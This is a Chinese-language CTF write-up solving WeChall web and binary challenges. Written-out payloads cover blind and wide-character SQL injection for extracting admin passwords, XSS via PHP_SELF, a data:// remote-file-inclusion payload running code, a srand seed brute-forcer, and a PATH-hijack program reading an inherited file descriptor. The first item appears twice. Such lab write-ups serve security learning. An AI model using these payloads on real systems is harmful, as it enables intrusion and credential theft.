http://www.wechall.net/challenge/space/host_me/index.php$_SERVER['HTTP_HOST']
是从http头的Host
读的,所以我们需要把Host
设成localhost
另一方面,我们需要正常访问网址,所以要用absoluteURI
GET http://www.wechall.net/challenge/space/host_me/index.php HTTP/1.1 Host: localhost
http://www.wechall.net/challenge/space/host_me/index.php$_SERVER['HTTP_HOST']
是从http头的Host
读的,所以我们需要把Host
设成localhost
另一方面,我们需要正常访问网址,所以要用absoluteURI
GET http://www.wechall.net/challenge/space/host_me/index.php HTTP/1.1 Host: localhost
http://www.wechall.net/challenge/htmlspecialchars/index.php
单引号也需要encode,否则可以添加事件如 onclick=alert(1)
所以需要给 htmlspecialchars
加上 ENT_QUOTES
http://www.wechall.net/challenge/php0815/index.php
这道题要求将传入的参数转为整数。官方的做法是(int)
或 intval()
,但这里要求最简单的fix。
用-0
就可以保持整数的值不变,同时类型自动转为整数
http://www.wechall.net/challenge/php0816/index.php
这道题有提示说是逻辑错误。仔细阅读后,发现可以在检查$_GET['src']
之前就输出文件内容,也就是说,将mode=hl
放在src=solution.php
之前
http://www.wechall.net/challenge/noother/php0818/index.php
这道题要求提供一个和3735929054相等的数,但不能包含1-9。
因为正好0是可以的,所以可以用hex,PHP会自作聪明地转化好。原来那个数等于0xdeadc0de
,不包含1-9
http://www.wechall.net/challenge/space/php0819/index.php
这道题要求构造字符串,不能使用引号和其他一些符号
php里可以用heredoc构造字符串,不需要引号。注意结束delimiter后面需要newline,所以eval=%3c%3c%3cA%0a1337%0aA%3b%0a
http://www.wechall.net/challenge/space/pytong/index.php
也就是要求两次读的文件内容不同,提示也说了可以用race condition,但不必要
这里我们用named pipe(FIFO),可以通过mkfifo p
来创建
之后我们之需要让pytong读这个fifo就可以了,先后通过echo "123"> p
echo "12345"> p
来使得两次读fifo的内容不同
或者直接用 /dev/stdin
https://www.wechall.net/challenge/brainfucked/index.php
这道题是jother混淆的javascript。用jother可以编码成字符串或者是函数,如果是字符串那么直接在浏览器里运就可以。这里是函数,实际上是f(something)()
的形式,那么只要把something
运行就可以
或者将其保存下来,直接用node
运,因为没有document
等元素,会报错,这时我们可以看到其内容
http://www.wechall.net/challenge/order_by_query/index.php
用户输入在order by
后面出现,只能用盲注
另外由于会检查参数by
是否在白名单里,但用的是==
,所以只要第一个字符是有效的数字即可
用二分法读内容
by=1,(case when (ascii(substring((select password from users where username=0x41646d696e),1,1))=51) then 3 else 1*(select apples from users)end)
http://www.wechall.net/challenge/noother/stop_us/index.php
在购买过程中,首先domain数加1,然后再扣钱。如果运行到加完domain扣钱之前,那么就可以不花钱了
在文件开始处我们看到配置ignore_user_abort
是false
,所以我们就利用这点
在网上查了下其实connection abort还是比较复杂的,
php cannot detect that the client has aborted the connection until an attempt is made to send information to the client. If your long running script does not issue a flush() the script may keep on running even though the user has closed the connection
幸运的是输出信息的函数就调用了flush()
另一方面,
Complicating things is even if you do issue periodic calls to flush(), having output buffering on will cause those calls to trap and won’t send them down to the client until the script completes anyway!
所以我们在文件开始处的配置里看到buffering被禁止了
综上,我们在运行到刚买完domain扣钱之前,停止页面
http://www.wechall.net/challenge/table_names/index.php
很基本的注入,没有任何检查,3列,用limit 1,1读其他行的信息
http://www.wechall.net/challenge/yourself_php/index.php/asdf
因为username
被转义了,不能在这注入
但是_$SERVER['PHP_SELF']
被直接输出,而且这道题的标题就暗示了要从这里入手
http://www.wechall.net/challenge/yourself_php/index.php/"><script>alert(1);</script>
但有个地方还是不太明白,/foo.php/bar
被解析成/foo.php
,是PHP的决定还是web server的?
http://www.wechall.net/challenge/addslashes/index.php
SQL宽字符注入,username=a%bf'%20union%20select%200x41646d696e--%20
http://www.wechall.net/challenge/crappyshare/index.php
检查代码,发现如果是通过url,会将文件内容也输出来。为了读取本地文件,我们用file://
协议file://solution.php
http://www.wechall.net/challenge/MD5.SALT/index.php
首先注册了一个密码为空的用户。尝试发现似乎是执行两次SQL query,首先是取用户名,再对得到的行检查密码。
因为用了salt,我们先取出。因为注册的密码是空,所以计算得到的hash就是md5(salt)
:username=' union select password,password from users where username='wzs
破解这个md5,得到salt是salt21
然后我们有用户test/test,得到此用户的密码hash,发现是md5(testsalt21)
,所以密码hash的计算是md5(password+"salt21")
最后我们得到admin的密码hash,然后用字典跑,得到密码原文
http://www.wechall.net/challenge/screwed_signup/index.php
这道题比较有意思
经过一番尝试,发现了代码中不一致的地方:SQL table里username最多24个字符,但是preg_match检查时可以最多到64个。于是这里可能造成截断……
另一个不协调的地方是signupGetUser
。可以看到,在另一个函数里检查了密码,但取用户信息的这个函数只检查了用户名。所以,只要表中存在另外一个帐号Admin/password,那么我们以那个帐号登陆后,signupGetUser
会取第一条出来,也就是把真正的管理员信息取出来了
于是我们利用截断来注册一个用户名也是Admin的帐号
If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR column that exceeds the column’s maximum length, the value is truncated to fit and a warning is generated.
For VARCHAR columns, trailing spaces in excess of the column length are truncated prior to insertion and a warning is generated, regardless of the SQL mode in use.
当注册用户名为Admin+大于20个空白+abc
时,结尾的abc保证了中间的空白不会被截断,然后preg_match也通过,判断用户是否存在也通过(因为不存在这样的用户名)。然后insert时会截断,而且空白也截断了,实质上造成了另一个用户名为Admin的帐号的添加。之后我们以此登陆,就ok了
http://www.wechall.net/challenge/nurfed/more_table_names/index.php
这道题里有黑名单过滤,在网上搜到了解答……information_schema.processlist
里有db
,还有info
是当前的query
http://www.wechall.net/challenge/warchall/live_rfi/index.php
http://www.wechall.net/challenge/warchall/live_lfi/index.php
这两题类似,都是文件包含,参数lang可以传文件名
LFI那里,直接访问solution.php,有两行:teh falg si naer, the flag is near。一开始我还以为flag在另一个文件里,因为看论坛上说是在s***\*n.***里。我以为提示是说重排文件名的字符,最后没成功……
然后发现我们可以ssh到warchall上,于是新建一个文件/tmp/1
,里头是PHP代码,读solution.php的内容。再LFI这个文件就可以看到答案了
RFI与此类似,不过提示说有防火墙,只允许连几个地址。我们发现warchall也向用户提供web服务,于是开启之(/home/feature/webserver_on
),同样的办法,读取solution.php的内容,得到flag
另外,看论坛里其他人的解答,RFI不需要设web服务,可以用data协议:
http://rfi.warchall.net/index.php?lang=data://text/plain,<?php echo `your code`;?>
http://www.wechall.net/challenge/time_to_reset/index.php
最初的想法还是和注入有关,试了几次发现邮件地址不能包含特殊字符……
再从头开始看代码,发现了不自然的地方:
提交email的表格里有CSRF的token,感觉似乎在见过的题目里并不常见;其实这也还说得过去,但是token的生成方式太可疑了,用的是和reset token同样的函数;更可疑的是,CSRF token只是生成了,并没有任何对其的检查来防范CSRF。所以这个是用来让我们暴力srand的seed的
首先生成32位的CSRF token,然后是16位的rest token。于是我们可以暴力破解,而time()
的值可以从RFI那题里得到
下面是用来破解的代码, ttr_random
函数就直接用题里的代码
<?phpfunctionttr_random($len,$alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'){$alphalen=strlen($alpha)-1;$key='';for($i=0;$i<$len;$i++){$key.=$alpha[rand(0,$alphalen)];}return$key;}$time=1403111639;for($i=0;$i<255;$i++){srand($time+$i);$csrf=ttr_random(32);$real='BLQChCcpFPZoACf9VpoeKEes4k2BpeDR';if($csrf===$real){echottr_random(16).PHP_EOL;}}?>
http://www.wechall.net/challenge/warchall/tryouts/index.php
用IDA反汇编,基本上了解了题意。最初的想法比较直接:从随机数下手。但根据后来在网上搜到的情况,/dev/urandom
虽然不是那么随机,但熵基本上还是足够的
仔细阅读反汇编得到的C代码,发现了以下不自然的地方:
snprintf((char*)&v16,0x200u,"cat %s/seed > /dev/urandom",v20->pw_dir);
这里直接用cat
而没用绝对路径,也就是说我们可以在家目录下创建一个新的可执行文件,名字也叫cat
,然后将$HOME
放在$PATH
的最前面,那么这个cat
就会被执行
另外,solution.txt的file descriptor到了最后的最后才关闭,甚至在/dev/urandom
后,这点太不自然了,按说读完了solution.txt就已经完全不需要这个描述符了
于是查资料,子进程是可以继承父进程的文件描述符(其实以前好像见过类似的题目):
The child inherits copies of the parent’s set of open file descriptors. Each file descriptor in the child refers to the same open file description (see open(2)) as the corresponding file descriptor in the parent. This means that the two descriptors share open file status flags, current file offset, and signal-driven I/O attributes (see the description of F_SETOWN and F_SETSIG in fcntl(2)).
By default, file descriptors remain open across an execve(). File descriptors that are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2).
rsolution.txt的描述符应该是3,因为0,1,2已经被占用。于是我们写cat.c,lseek到文件开始处,再读16个字符
#include <stdio.h>#include <unistd.h>#include <string.h>intmain(intargc,char*argv[]){FILE*fp=fopen(argv[1],"w");charbuf[16];memset(buf,0,sizeofbuf);lseek(3,0,SEEK_SET);read(3,buf,sizeofbuf);fprintf(fp,"%s",buf);return0;}
将其编译$ gcc -m32 cat.c -o cat
然后设置路径$ export PATH=$HOME:$PATH
这样就会把solution.txt的内容写到文件seed里面了